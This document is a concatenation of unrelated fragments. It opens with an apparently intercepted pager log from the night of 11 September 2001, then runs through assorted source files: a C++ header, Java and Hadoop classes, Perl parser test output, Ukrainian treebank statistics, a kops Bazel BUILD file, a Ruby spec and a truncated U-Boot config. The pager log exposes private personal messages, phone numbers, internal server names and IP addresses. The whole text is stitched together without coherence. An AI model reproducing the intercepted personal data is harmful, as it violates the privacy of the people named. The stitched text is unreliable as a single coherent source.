ALPHA Cluster resource POS 2001-09-12 00:02:37 Arch [0900779] C ALPHA Sub:WTC UPDATE #11e Msg: WTC UPDATE #11e BEGINS AT 11PM ON TUE SEP 11, 2001 <?xml:namespace prefix = o ns = "urn:schemas-microsoft-com:office:office" /> 11:56p msnbc 2001-09-12 00:02:37 Arch [1071876] B ALPHA From: [email protected] *From: VM Automation *Msg : The Weighted message rate on DELTAMATIC has dropped 49.240122% from - 658.02 to - 334.70 2001-09-12 00:02:37 Skytel [007583408] A ST NUM 430-365-0632 2001-09-12 00:02:37 Skytel [002149682] A SH/TONE 2323 (18 2001-09-12 00:02:37 Skytel [004697534] D ALPHA CyberSaver Alert: 9/12/01 12:00:14 AM Cyber Saver automated process failed: CyberSaver dates do not match local pl file: W:\Documentation\CyberSaverData\2001\09-01\SEP15.txt 2001-09-12 00:02:37 Skytel [005087282] A ALPHA [email protected]|BRMPRTSERVER is DOWN|BRMPRTSERVER is DOWN Mail generated by Servers Alive at Tuesd 2001-09-12 00:02:37 Skytel [0001461] B ALPHA GLOBEX 23:01 GEH ---- ---- GEM ---- ---- ESU ---- ---- SPU ---- ---- NDU ---- ---- 6JZ --- 2001-09-12 00:02:37 Skytel [007553714] A SH/TONE 519-1455 2001-09-12 00:02:37 Skytel [007518523] C ALPHA Y! ||Be mobile with Compaq Archerd: Germans honor Holocaust documentary Reuters 2001-09-12 00:02:37 Skytel [005058097] A ALPHA [email protected]|SiteScope Alert, error, URL: http://CNEBC1.cup.hp.com/ebc/roomagenda.nsf, timed out reading (15.56.40.80)|This 2001-09-12 00:02:37 Skytel [005506751] D ALPHA SITA reports all alternative routing being used & they are unable to resolve the eastern Canada issue. SITA will reassess situation at first light & update MOD. 2001-09-12 00:02:37 Skytel [005204406] B ST NUM 96) 121-344-6120 2001-09-12 00:02:39 Skytel [004592207] D ALPHA I'M STILL TRYING TO GET ON POST, FORT MEADE. SFC HOWARD. SOLDGERS WILL BE IN AT 07. 2001-09-12 00:02:39 Skytel [0001461] B ALPHA - ---- 6EZ ---- ---- 6SZ ---- ---- 6BZ ---- ---- 6CZ ---- ---- 2001-09-12 00:02:39 Skytel [005330890] C SH/TONE 3303 2001-09-12 00:02:39 Skytel [005058097] A ALPHA alert is from SiteScope at http://15.56.40.80:8888/SiteScope Monitor: LotusNotesCup:URL: http://C 2001-09-12 00:02:39 Skytel [007520327] B ALPHA Y! ||$499 deals on iPAQ Pocket PC US Reels From Devastating Attack, Thousands Ki 2001-09-12 00:02:39 Skytel [005070795] C ALPHA solution. 2001-09-12 00:02:40 Metrocall [1466326] B ALPHA Frm: IPN Txt: DFW| Dallas| 1 Alarm Fire| 453.875| 708 Olive x/Federal|T3 O/S 1 Story Commerical w/smoke from roof| DFW000| 14:28 2001-09-12 00:02:40 Metrocall [002106202] C ALPHA Computer now up and running. Service delays all lines. OCC 2001-09-12 00:02:40 Metrocall [0848971] C ALPHA Computer now up a 2001-09-12 00:02:40 Metrocall [0957540] B ALPHA Computer now up and running. Service delays all lines. OCC 2001-09-12 00:02:40 Metrocall [1283151] D ALPHA : WDC-MAIL02 : "Server WDC-MAIL02/MSVR/KAIPERM - The following pending documents in mail2.box are older than 30 minutes 186A6A " 2001-09-12 00:02:41 Skytel [007591378] A SH/TONE 6773 2001-09-12 00:02:41 Skytel [003912413] D ALPHA SITA reports all alternative routing being used & they are unable to resolve the 2001-09-12 00:02:41 Skytel [007563991] B SH/TONE 438-0607 2001-09-12 00:02:41 Skytel [004530645] B ST NUM 0-708-345-0177-464 2001-09-12 00:02:41 Skytel [005090266] C SH/TONE 7535 2001-09-12 00:02:41 Skytel [005004368] A ALPHA sysNETIQsvc: NYC Job,112822 SNYC00301 09/12 00:00 QUEUES,UNKNOWN 2001-09-12 00:02:41 Skytel [007118428] D SH/TONE 770-1051 2001-09-12 00:02:41 Skytel [1800019] A ALPHA GLOBEX 23:01 GEH ---- ---- GEM ---- ---- ESU ---- ---- SPU ---- ---- NDU ---- ---- 6JZ ---- ---- 6EZ ---- ---- 6SZ ---- ---- 6BZ ---- ---- 6CZ ---- ---- 2001-09-12 00:02:42 Metrocall [1590258] A ALPHA MORISY STACY B E 226 5400 KIMBERLY OSTRANDER 5433 IV ACCESS MORISY 2001-09-12 00:02:42 Metrocall [0848971] C ALPHA nd running. Service delays all lines. OCC 2001-09-12 00:02:43 Arch [0987275] C ALPHA sb3: INFO0002 - Trade Count Mismatch Ora=825 Rec=0 (160.43.94.116 /20123-s0078):CRITICAL:Sep 11, 2001 15:52 2001-09-12 00:02:43 Skytel [003929963] C ALPHA Hey Marie, it's Peggy.If you need help tonight,don't hesitate to call (707)839-7939 or page @ (707)269-9790.I'm always available. 2001-09-12 00:02:43 Skytel [007518957] D ST NUM 08007598255 2001-09-12 00:02:43 Skytel [004132072] C ALPHA [ddr-gw.cisco.com] TRAP: Too many DDR ISDN calls from losaltos-gw in past hour (5) (58 2001-09-12 00:02:43 Skytel [007553888] A ALPHA 391-5495No Answer Cranford 908-931 2001-09-12 00:02:43 Skytel [002739566] D SH/TONE 507 2001-09-12 00:02:43 Skytel [005436525] D ALPHA Test Lotus Notes #27-IX_T1708 2001-09-12 00:02:45 Arch [0987275] C ALPHA s0191: 09/11 15:56:49 Reboot NT machine gblnetnt06 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 15:56:49 2001-09-12 00:02:45 Skytel [004534514] A SH/TONE 831-9452 2001-09-12 00:02:45 Skytel [003875698] A ST NUM 670-668-7420 2001-09-12 00:02:45 Skytel [007109749] B ST NUM 611-773-1517-07 2001-09-12 00:02:45 Skytel [005243127] B SH/TONE 239 2001-09-12 00:02:45 Skytel [007457527] B SH/TONE 305-5650 2001-09-12 00:02:45 Skytel [002204536] C SH/TONE 1234 (54 2001-09-12 00:02:45 Skytel [007062907] C SH/TONE 340 2001-09-12 00:02:45 Skytel [002951162] C ST NUM 825-842-0400 2001-09-12 00:02:45 Skytel [003932285] D SH/TONE 3018 U 2001-09-12 00:02:45 Skytel [002378720] A ST NUM 988-227-8900 2001-09-12 00:02:45 Skytel [005072766] D SH/TONE 211 2001-09-12 00:02:48 Skytel [007653526] B ST NUM 888-4848-9 2001-09-12 00:02:50 Arch [0987275] C ALPHA s0191: 09/11 16:02:48 Reboot NT machine gblnetnt07 in cabinet 311R at 13/1CMP:CRITICAL:Sep 11 16:02:48 2001-09-12 00:02:50 Skytel [002867623] B ST NUM 34949 (71 2001-09-12 00:02:52 Arch [1644296] C ALPHA From: [email protected] *From: VM Automation *Msg : The Weighted message rate on DELTAMATIC has dropped 49.240122% from - 658.02 to - 334.70 2001-09-12 00:02:52 Skytel [002868413] D ALPHA RTOP;Allison Transmission;TOP-20:30 EDT;SCP-unk;BPA-LCT Print Line;SAS-Down Onsite wrk tm;ETTR-unk;bruce;PH-3172405623;PG-3172358404;TK-19508278 -- From: GSS-MWD 2001-09-12 00:02:52 Skytel [005172532] B ST NUM 223-780-1081 2001-09-12 00:02:52 Skytel [004449466] C SH/TONE 251 2001-09-12 00:02:52 Skytel [005003958] B SH/TONE 05967 2001-09-12 00:02:52 Skytel [007610680] C ALPHA RTOP;Allison Transmission;TOP-20:30 EDT;SCP-unk;BPA-LCT Print Line;SAS-Down Onsite wrk tm;ETTR-unk;bruce;PH-3172405623;PG-3172358404;TK-19508278 -- From: GSS-MWD 2001-09-12 00:02:54 Arch [1405844] B ALPHA IPN <IPN@IPN911.|MAS| Middlesex County (Medford)| 1 Alarm Fire| 153.89| 58 Pinkert St|Porch Fire| MAS001| 00:02 2001-09-12 00:02:54 Skytel [005420354] A ST NUM 01111 (13 2001-09-12 00:02:54 Skytel [003933391] D ST NUM 673-714-3252 2001-09-12 00:02:56 Skytel [007456985] C SH/TONE 305-5650 2001-09-12 00:02:56 Skytel [007102168] C SH/TONE 6023 2001-09-12 00:02:56 Skytel [005329242] C ALPHA [email protected]|East1_Ftp_Aim|In iSendToSfm * Transaction fails to qualify, SFM returned -6 2001-09-12 00:02:56 Skytel [005117789] D ST NUM 837-252-0611 2001-09-12 00:02:58 Skytel [007589225] C SH/TONE 3375 2001-09-12 00:02:58 Skytel [002554479] D SH/TONE 555 2001-09-12 00:02:59 Arch [0895403] C ALPHA THIS IS A TEST PERIODIC PAGE SEQUENTIAL NUMBER 7972 2001-09-12 00:02:59 Metrocall [0536453] B ALPHA FROM:aimee & kathy SUBJ:ok? MSG:Let Kathy and I know that you are ok if you have the chance, we are worried about you. Hang in there. me (9:04 PM/SEP 11) 2001-09-12 00:02:59 Metrocall [1079407] D ALPHA Frm: [email protected] Sub: AMERICA UNDER ATTACK Txt: DEVELOPING STORY NEW YORK (CN
{ "pile_set_name": "Github" }
/* * Copyright (C) 2015 Pavel Kirienko <[email protected]> */ #pragma once #include <cstdint> namespace board { void init(); __attribute__((noreturn)) void die(int error); void setLed(bool state); void restart(); constexpr unsigned UniqueIDSize = 12; void readUniqueID(std::uint8_t bytes[UniqueIDSize]); }
{ "pile_set_name": "Github" }
/******************************************************************************* * Copyright (c) 2015 - 2017 * * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), * to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, * and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER * DEALINGS IN THE SOFTWARE. *******************************************************************************/ package jsettlers.logic.map.loading.original.data; /** * The settler 3 version of the file, for compatibility * @author Thomas Zeugner * @author codingberlin */ public enum EOriginalMapFileVersion { NO_S3_FILE(0x00), DEFAULT(0x0A), AMAZONS(0x0B); public final int value; EOriginalMapFileVersion(int value) { this.value = value; } }
{ "pile_set_name": "Github" }
/* * Sifarish: Recommendation Engine * Author: Pranab Ghosh * * Licensed under the Apache License, Version 2.0 (the "License"); you * may not use this file except in compliance with the License. You may * obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or * implied. See the License for the specific language governing * permissions and limitations under the License. */ package org.sifarish.common; import java.io.IOException; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.util.ToolRunner; import org.chombo.mr.Transformer; import org.chombo.transformer.AttributeTransformer; /** * Per user item novelty. Novelty has an inverse relationship with user's engagement * with an item. Input: userID, itemID, rating, rating distr * @author pranab * */ public class IndividualNovelty extends Transformer { @Override public int run(String[] args) throws Exception { return start("Individual novelty MR", IndividualNovelty.class, IndividualNovelty.NoveltyMapper.class, args); } /** * @author pranab * */ public static class NoveltyMapper extends Transformer.TransformerMapper { /* (non-Javadoc) * @see org.chombo.mr.Transformer.TransformerMapper#setup(org.apache.hadoop.mapreduce.Mapper.Context) */ protected void setup(Context context) throws IOException, InterruptedException { super.setup(context); Configuration config = context.getConfiguration(); String strategy = config.get("inn.novelty.gen.strategy", "selfInformation"); int maxRating = config.getInt("inn.rating.scale", 100); if (strategy.equals("selfInformation")) { //based on rating distribution int engaementDistrScale = config.getInt("inn.engaement.distr.scale", 1000); registerTransformers(2, new Transformer.NullTransformer()); registerTransformers(3, new IndividualNovelty.SelfInformation(engaementDistrScale, maxRating)); } else if (strategy.equals("nonLinearInverse")) { //based on rating double param = config.getFloat("inn.quadratic.param", (float) 0.8); registerTransformers(2, new IndividualNovelty.NonLinearInverse(maxRating, param)); registerTransformers(3, new Transformer.NullTransformer()); } } } /** * @author pranab * */ public static class SelfInformation extends AttributeTransformer { private double maxNovelty; private int maxRating; public SelfInformation(int engaementDistrScale, int maxRating) { maxNovelty = log2(engaementDistrScale); this.maxRating = maxRating; } private double log2(int val) { return Math.log(val) / Math.log(2); } @Override public String[] tranform(String value) { //from rating distr to novelty int rating = Integer.parseInt(value); rating = rating == 0 ? 1 : rating; Integer novelty = (int)((1.0 - log2(rating) / maxNovelty) * maxRating); String[] transformed = new String[1]; transformed[0] = novelty.toString(); return transformed; } } /** * Second degree polynomial * @author pranab * */ public static class NonLinearInverse extends AttributeTransformer { private int maxRating; private double k0, k1, k2; private int maxRatingInData; public NonLinearInverse(int maxRating, double param) { this.maxRating = maxRating; k0 = maxRating; k1 = -3 + 2 * param; k2 = 2 * (1 - param) / maxRating; } public NonLinearInverse(int maxRating, double param, int maxRatingInData) { this(maxRating, param); this.maxRatingInData = maxRatingInData; } @Override public String[] tranform(String value) { //from rating to novelty int rating = Integer.parseInt(value); //scale it if (maxRatingInData > 0) { rating = (rating * maxRating) / maxRatingInData; } Integer novelty = null; if (rating == 0) { novelty = maxRating; } else if (rating == maxRating){ novelty = 0; } else { novelty = (int)(k2 * rating * rating + k1 * rating + k0); } String[] transformed = new String[1]; transformed[0] = novelty.toString(); return transformed; } } /** * @param args * @throws Exception */ public static void main(String[] args) throws Exception { int exitCode = ToolRunner.run(new IndividualNovelty(), args); System.exit(exitCode); } }
{ "pile_set_name": "Github" }
Subtree: Perl5 (Perl5) Perl5 PsiPerlStatementImpl(Perl5: STATEMENT) PsiPerlAssignExprImpl(Perl5: ASSIGN_EXPR) PsiPerlArrayVariableImpl(Perl5: ARRAY_VARIABLE) PsiElement(Perl5: $@)('@') PerlVariableNameElementImpl(Perl5: ARRAY_NAME)('result') PsiElement(Perl5: =)('=') PsiPerlScalarExprImpl(Perl5: SCALAR_EXPR) PsiElement(Perl5: scalar)('scalar') PsiPerlSubCallImpl(SUB_CALL) PsiPerlCodeCastExprImpl(Perl5: CODE_CAST_EXPR) PsiElement(Perl5: $&)('&') PsiPerlScalarVariableImpl(Perl5: SCALAR_VARIABLE) PsiElement(Perl5: $$)('$') PerlVariableNameElementImpl(Perl5: SCALAR_NAME)('value') PsiPerlParenthesisedCallArgumentsImpl(Perl5: PARENTHESISED_CALL_ARGUMENTS) PsiElement(Perl5: ()('(') PsiPerlArrayCastExprImpl(Perl5: ARRAY_CAST_EXPR) PsiElement(Perl5: $@)('@') PsiPerlScalarVariableImpl(Perl5: SCALAR_VARIABLE) PsiElement(Perl5: $$)('$') PerlVariableNameElementImpl(Perl5: SCALAR_NAME)('args') PsiElement(Perl5: ))(')') PsiComment(Perl5: COMMENT_LINE)('## @result;') -------------------------------------------------------------------------------- Subtree: Perl5 POD (Perl5 POD) POD file PsiElement(Perl5 POD: POD_OUTER)('@result = scalar &$value(@$args) ## @result;') --------------------------------------------------------------------------------
{ "pile_set_name": "Github" }
--- layout: base title: 'Statistics of compound in UD_Ukrainian-IU' udver: '2' --- ## Treebank Statistics: UD_Ukrainian-IU: Relations: `compound` This relation is universal. There are 1 language-specific subtypes of `compound`: <tt><a href="uk_iu-dep-compound-svc.html">compound:svc</a></tt>. 513 nodes (0%) are attached to their parents as `compound`. 299 instances of `compound` (58%) are right-to-left (child precedes parent). Average distance between parent and child is 2.01949317738791. The following 23 pairs of parts of speech are connected with `compound`: <tt><a href="uk_iu-pos-NUM.html">NUM</a></tt>-<tt><a href="uk_iu-pos-NUM.html">NUM</a></tt> (191; 37% instances), <tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt>-<tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt> (142; 28% instances), <tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt>-<tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt> (77; 15% instances), <tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt>-<tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt> (23; 4% instances), <tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt>-<tt><a href="uk_iu-pos-NUM.html">NUM</a></tt> (15; 3% instances), <tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt>-<tt><a href="uk_iu-pos-X.html">X</a></tt> (9; 2% instances), <tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt>-<tt><a href="uk_iu-pos-NUM.html">NUM</a></tt> (8; 2% instances), <tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt>-<tt><a href="uk_iu-pos-SYM.html">SYM</a></tt> (6; 1% instances), <tt><a href="uk_iu-pos-PROPN.html">PROPN</a></tt>-<tt><a href="uk_iu-pos-PROPN.html">PROPN</a></tt> (6; 1% instances), <tt><a href="uk_iu-pos-X.html">X</a></tt>-<tt><a href="uk_iu-pos-SYM.html">SYM</a></tt> (6; 1% instances), <tt><a href="uk_iu-pos-NUM.html">NUM</a></tt>-<tt><a href="uk_iu-pos-SYM.html">SYM</a></tt> (5; 1% instances), <tt><a href="uk_iu-pos-X.html">X</a></tt>-<tt><a href="uk_iu-pos-X.html">X</a></tt> (5; 1% instances), <tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt>-<tt><a href="uk_iu-pos-X.html">X</a></tt> (4; 1% instances), <tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt>-<tt><a href="uk_iu-pos-PROPN.html">PROPN</a></tt> (4; 1% instances), <tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt>-<tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt> (3; 1% instances), <tt><a href="uk_iu-pos-NUM.html">NUM</a></tt>-<tt><a href="uk_iu-pos-PROPN.html">PROPN</a></tt> (2; 0% instances), <tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt>-<tt><a href="uk_iu-pos-ADV.html">ADV</a></tt> (1; 0% instances), <tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt>-<tt><a href="uk_iu-pos-PROPN.html">PROPN</a></tt> (1; 0% instances), <tt><a href="uk_iu-pos-NUM.html">NUM</a></tt>-<tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt> (1; 0% instances), <tt><a href="uk_iu-pos-VERB.html">VERB</a></tt>-<tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt> (1; 0% instances), <tt><a href="uk_iu-pos-VERB.html">VERB</a></tt>-<tt><a href="uk_iu-pos-VERB.html">VERB</a></tt> (1; 0% instances), <tt><a href="uk_iu-pos-X.html">X</a></tt>-<tt><a href="uk_iu-pos-ADJ.html">ADJ</a></tt> (1; 0% instances), <tt><a href="uk_iu-pos-X.html">X</a></tt>-<tt><a href="uk_iu-pos-NOUN.html">NOUN</a></tt> (1; 0% instances). ~~~ conllu # visual-style 3 bgColor:blue # visual-style 3 fgColor:white # visual-style 4 bgColor:blue # visual-style 4 fgColor:white # visual-style 4 3 compound color:blue 1 Йому він PRON Pp-3m-sdn Case=Dat|Gender=Masc|Number=Sing|Person=3|PronType=Prs 5 obj 5:obj Id=122n|LTranslit=vin|Translit=Jomu 2 був бути AUX Vapis-sm Aspect=Imp|Gender=Masc|Mood=Ind|Number=Sing|Tense=Past|VerbForm=Fin 5 cop 5:cop Id=122o|LTranslit=buty|Translit=buv 3 сорок сорок NUM Mlc-n Case=Nom|NumType=Card 4 compound 4:compound Id=122p|LTranslit=sorok|Translit=sorok 4 один один NUM Mlcmsn Case=Nom|Gender=Masc|NumType=Card 5 nummod 5:nummod Id=122q|LTranslit=odyn|Translit=odyn 5 рік рік NOUN Ncmsnn Animacy=Inan|Case=Nom|Gender=Masc|Number=Sing 0 root 0:root Id=122r|LTranslit=rik|SpaceAfter=No|Translit=rik 6 . . PUNCT U _ 5 punct 5:punct Id=122s|LTranslit=.|Translit=. ~~~ ~~~ conllu # visual-style 2 bgColor:blue # visual-style 2 fgColor:white # visual-style 4 bgColor:blue # visual-style 4 fgColor:white # visual-style 4 2 compound color:blue 1 Вибір вибір NOUN Ncmsnn Animacy=Inan|Case=Nom|Gender=Masc|Number=Sing 0 root 0:root Id=2li9|LTranslit=vybir|Translit=Vybir 2 медико медичний ADJ A Hyph=Yes 4 compound 4:compound Id=2lia|LTranslit=medyčnyj|SpaceAfter=No|Translit=medyko 3 - - PUNCT U PunctType=Hyph 2 punct 2:punct Id=2lib|LTranslit=-|SpaceAfter=No|Translit=- 4 технологічних технологічний ADJ Afp-pgf Case=Gen|Degree=Pos|Number=Plur 5 amod 5:amod Id=2lic|LTranslit=technolohičnyj|Translit=technolohičnych 5 документів документ NOUN Ncmpgn Animacy=Inan|Case=Gen|Gender=Masc|Number=Plur 1 nmod 1:nmod Id=2lid|LTranslit=dokument|Translit=dokumentiv ~~~ ~~~ conllu # visual-style 2 bgColor:blue # visual-style 2 fgColor:white # visual-style 4 bgColor:blue # visual-style 4 fgColor:white # visual-style 4 2 compound color:blue 1 Сучасний сучасний ADJ Afpmsnf Case=Nom|Degree=Pos|Gender=Masc|Number=Sing 4 amod 4:amod Id=2nt2|LTranslit=sučasnyj|Translit=Sučasnyj 2 медіа медіа NOUN Nc-pnn Animacy=Inan|Case=Nom|Number=Ptan|Uninflect=Yes 4 compound 4:compound Id=2nt3|LTranslit=media|SpaceAfter=No|Translit=media 3 - - PUNCT U PunctType=Hyph 2 punct 2:punct Id=2nt4|LTranslit=-|SpaceAfter=No|Translit=- 4 арт арт NOUN Ncmsnn Animacy=Inan|Case=Nom|Gender=Masc|Number=Sing 6 nsubj 6:nsubj Id=2nt5|LTranslit=art|Translit=art 5 теж теж ADV R _ 6 advmod 6:advmod Id=2nt6|LTranslit=tež|Translit=tež 6 має мати VERB Vmpip3s Aspect=Imp|Mood=Ind|Number=Sing|Person=3|Tense=Pres|VerbForm=Fin 0 root 0:root Id=2nt7|LTranslit=maty|Translit=maě 7 свої свій DET Pps--npaa Animacy=Inan|Case=Acc|Number=Plur|Poss=Yes|PronType=Prs|Reflex=Yes 8 det 8:det Id=2nt8|LTranslit=svij|Translit=svoji 8 джерела джерело NOUN Ncnpan Animacy=Inan|Case=Acc|Gender=Neut|Number=Plur 6 obj 6:obj Id=2nt9|LTranslit=džerelo|Translit=džerela 9 у у ADP Spsl Case=Loc 13 case 13:case Id=2nta|LTranslit=u|Translit=u 10 « « PUNCT U PunctType=Quot 11 punct 11:punct Id=2ntb|LTranslit=«|SpaceAfter=No|Translit=« 11 вибухових вибуховий ADJ Ao--plf Case=Loc|Number=Plur 13 amod 13:amod Id=2ntc|LTranslit=vybuchovyj|SpaceAfter=No|Translit=vybuchovych 12 » » PUNCT U PunctType=Quot 11 punct 11:punct Id=2ntd|LTranslit=»|Translit=» 13 1920-х 1920-й NOUN Ao--plf Animacy=Inan|Case=Loc|Number=Ptan 6 obl 6:obl Id=2nte|LTranslit=1920-j|SpaceAfter=No|Translit=1920-ch 14 . . PUNCT U _ 6 punct 6:punct Id=2ntf|LTranslit=.|Translit=. ~~~
{ "pile_set_name": "Github" }
load("@io_bazel_rules_go//go:def.bzl", "go_library", "go_test") go_library( name = "go_default_library", srcs = [ "apply_cluster.go", "bootstrapchannelbuilder.go", "defaults.go", "dns.go", "loader.go", "networking.go", "new_cluster.go", "phase.go", "populate_cluster_spec.go", "populate_instancegroup_spec.go", "spec_builder.go", "subnets.go", "target.go", "template_functions.go", "urls.go", "utils.go", ], importpath = "k8s.io/kops/upup/pkg/fi/cloudup", visibility = ["//visibility:public"], deps = [ "//:go_default_library", "//channels/pkg/api:go_default_library", "//cmd/kops-controller/pkg/config:go_default_library", "//dns-controller/pkg/dns:go_default_library", "//dnsprovider/pkg/dnsprovider:go_default_library", "//dnsprovider/pkg/dnsprovider/providers/aws/route53:go_default_library", "//dnsprovider/pkg/dnsprovider/rrstype:go_default_library", "//pkg/acls:go_default_library", "//pkg/apis/kops:go_default_library", "//pkg/apis/kops/model:go_default_library", "//pkg/apis/kops/registry:go_default_library", "//pkg/apis/kops/util:go_default_library", "//pkg/apis/kops/validation:go_default_library", "//pkg/apis/nodeup:go_default_library", "//pkg/assets:go_default_library", "//pkg/client/simple:go_default_library", "//pkg/client/simple/vfsclientset:go_default_library", "//pkg/dns:go_default_library", "//pkg/featureflag:go_default_library", "//pkg/kubemanifest:go_default_library", "//pkg/model:go_default_library", "//pkg/model/alimodel:go_default_library", "//pkg/model/awsmodel:go_default_library", "//pkg/model/components:go_default_library", "//pkg/model/components/addonmanifests:go_default_library", "//pkg/model/components/addonmanifests/dnscontroller:go_default_library", "//pkg/model/components/etcdmanager:go_default_library", "//pkg/model/components/kubeapiserver:go_default_library", "//pkg/model/components/node-authorizer:go_default_library", "//pkg/model/domodel:go_default_library", "//pkg/model/gcemodel:go_default_library", "//pkg/model/iam:go_default_library", "//pkg/model/openstackmodel:go_default_library", "//pkg/model/spotinstmodel:go_default_library", "//pkg/resources/digitalocean:go_default_library", "//pkg/resources/spotinst:go_default_library", "//pkg/templates:go_default_library", "//pkg/util/subnet:go_default_library", "//pkg/wellknownports:go_default_library", "//upup/models:go_default_library", "//upup/pkg/fi:go_default_library", "//upup/pkg/fi/assettasks:go_default_library", "//upup/pkg/fi/cloudup/aliup:go_default_library", "//upup/pkg/fi/cloudup/awsup:go_default_library", "//upup/pkg/fi/cloudup/cloudformation:go_default_library", "//upup/pkg/fi/cloudup/do:go_default_library", "//upup/pkg/fi/cloudup/gce:go_default_library", "//upup/pkg/fi/cloudup/openstack:go_default_library", "//upup/pkg/fi/cloudup/terraform:go_default_library", "//upup/pkg/fi/fitasks:go_default_library", "//upup/pkg/fi/loader:go_default_library", "//upup/pkg/fi/utils:go_default_library", "//util/pkg/architectures:go_default_library", "//util/pkg/env:go_default_library", "//util/pkg/hashing:go_default_library", "//util/pkg/mirrors:go_default_library", "//util/pkg/reflectutils:go_default_library", "//util/pkg/vfs:go_default_library", "//vendor/github.com/Masterminds/sprig:go_default_library", "//vendor/github.com/aws/aws-sdk-go/aws:go_default_library", "//vendor/github.com/aws/aws-sdk-go/service/ec2:go_default_library", "//vendor/github.com/blang/semver/v4:go_default_library", "//vendor/k8s.io/api/core/v1:go_default_library", "//vendor/k8s.io/apimachinery/pkg/api/resource:go_default_library", "//vendor/k8s.io/apimachinery/pkg/apis/meta/v1:go_default_library", "//vendor/k8s.io/apimachinery/pkg/util/sets:go_default_library", "//vendor/k8s.io/klog/v2:go_default_library", ], ) go_test( name = "go_default_test", size = "small", srcs = [ "bootstrapchannelbuilder_test.go", "deepvalidate_test.go", "defaults_test.go", "dns_test.go", "networking_test.go", "new_cluster_test.go", "populatecluster_test.go", "populateinstancegroup_test.go", "subnets_test.go", "template_functions_test.go", "urls_test.go", "validation_test.go", ], data = [ "//upup/pkg/fi/cloudup/tests:exported_testdata", # keep ], embed = [":go_default_library"], deps = [ "//:go_default_library", "//pkg/apis/kops:go_default_library", "//pkg/apis/kops/validation:go_default_library", "//pkg/assets:go_default_library", "//pkg/client/simple/vfsclientset:go_default_library", "//pkg/diff:go_default_library", "//pkg/featureflag:go_default_library", "//pkg/kopscodecs:go_default_library", "//pkg/model:go_default_library", "//pkg/model/iam:go_default_library", "//pkg/templates:go_default_library", "//pkg/testutils:go_default_library", "//pkg/testutils/golden:go_default_library", "//upup/models:go_default_library", "//upup/pkg/fi:go_default_library", "//upup/pkg/fi/cloudup/awsup:go_default_library", "//upup/pkg/fi/fitasks:go_default_library", "//util/pkg/architectures:go_default_library", "//util/pkg/hashing:go_default_library", "//util/pkg/vfs:go_default_library", "//vendor/github.com/ghodss/yaml:go_default_library", "//vendor/k8s.io/apimachinery/pkg/apis/meta/v1:go_default_library", "//vendor/k8s.io/klog/v2:go_default_library", ], )
{ "pile_set_name": "Github" }
require 'spec_helper' describe Highrise::Account do it { should be_a_kind_of Highrise::Base } it ".me" do Highrise::Account.should_receive(:find).with(:one, {:from => "/account.xml"}).and_return(subject) Highrise::Account.me.should == subject end end
{ "pile_set_name": "Github" }
#ifndef __CONFIG_H #define __CONFIG_H #undef DEBUG #define CONFIG_SH 1 #define CONFIG_SH4 1 #define CONFIG_CPU_SH7751 1 #define CONFIG_CPU_SH_TYPE_R 1 #define CONFIG_R2DPLUS 1 #define __LITTLE_ENDIAN__ 1 /* * Command line configuration. */ #include <config_cmd_default.h> #define CONFIG_CMD_DFL #define CONFIG_CMD_CACHE #define CONFIG_CMD_FLASH #define CONFIG_CMD_PCI #define CONFIG_CMD_NET #define CONFIG_CMD_PING #define CONFIG_CMD_IDE #define CONFIG_CMD_EXT2 #define CONFIG_DOS_PARTITION /* SCIF */ #define CONFIG_SCIF_CONSOLE 1 #define CONFIG_BAUDRATE 115200 #define CONFIG_CONS_SCIF1 1 #define BOARD_LATE_INIT 1 #define CONFIG_BOOTDELAY -1 #define CONFIG_BOOTARGS "console=ttySC0,115200" #define CONFIG_ENV_OVERWRITE 1 /* SDRAM */ #define CONFIG_SYS_SDRAM_BASE (0x8C000000) #define CONFIG_SYS_SDRAM_SIZE (0x04000000) #define CONFIG_SYS_LONGHELP #define CONFIG_SYS_PROMPT "=> " #define CONFIG_SYS_CBSIZE 256 #define CONFIG_SYS_PBSIZE 256 #define CONFIG_SYS_MAXARGS 16 #define CONFIG_SYS_BARGSIZE 512 /* List of legal baudrate settings for this board */ #define CONFIG_SYS_BAUDRATE_TABLE { 115200, 57600, 38400, 19200, 9600 } #define CONFIG_SYS_MEMTEST_START (CONFIG_SYS_SDRAM_BASE) #define CONFIG_SYS_MEMTEST_END (TEXT_BASE - 0x100000) #define CONFIG_SYS_LOAD_ADDR (CONFIG_SYS_SDRAM_BASE + 32 * 1024 * 1024) /* Address of u-boot image in Flash */ #define 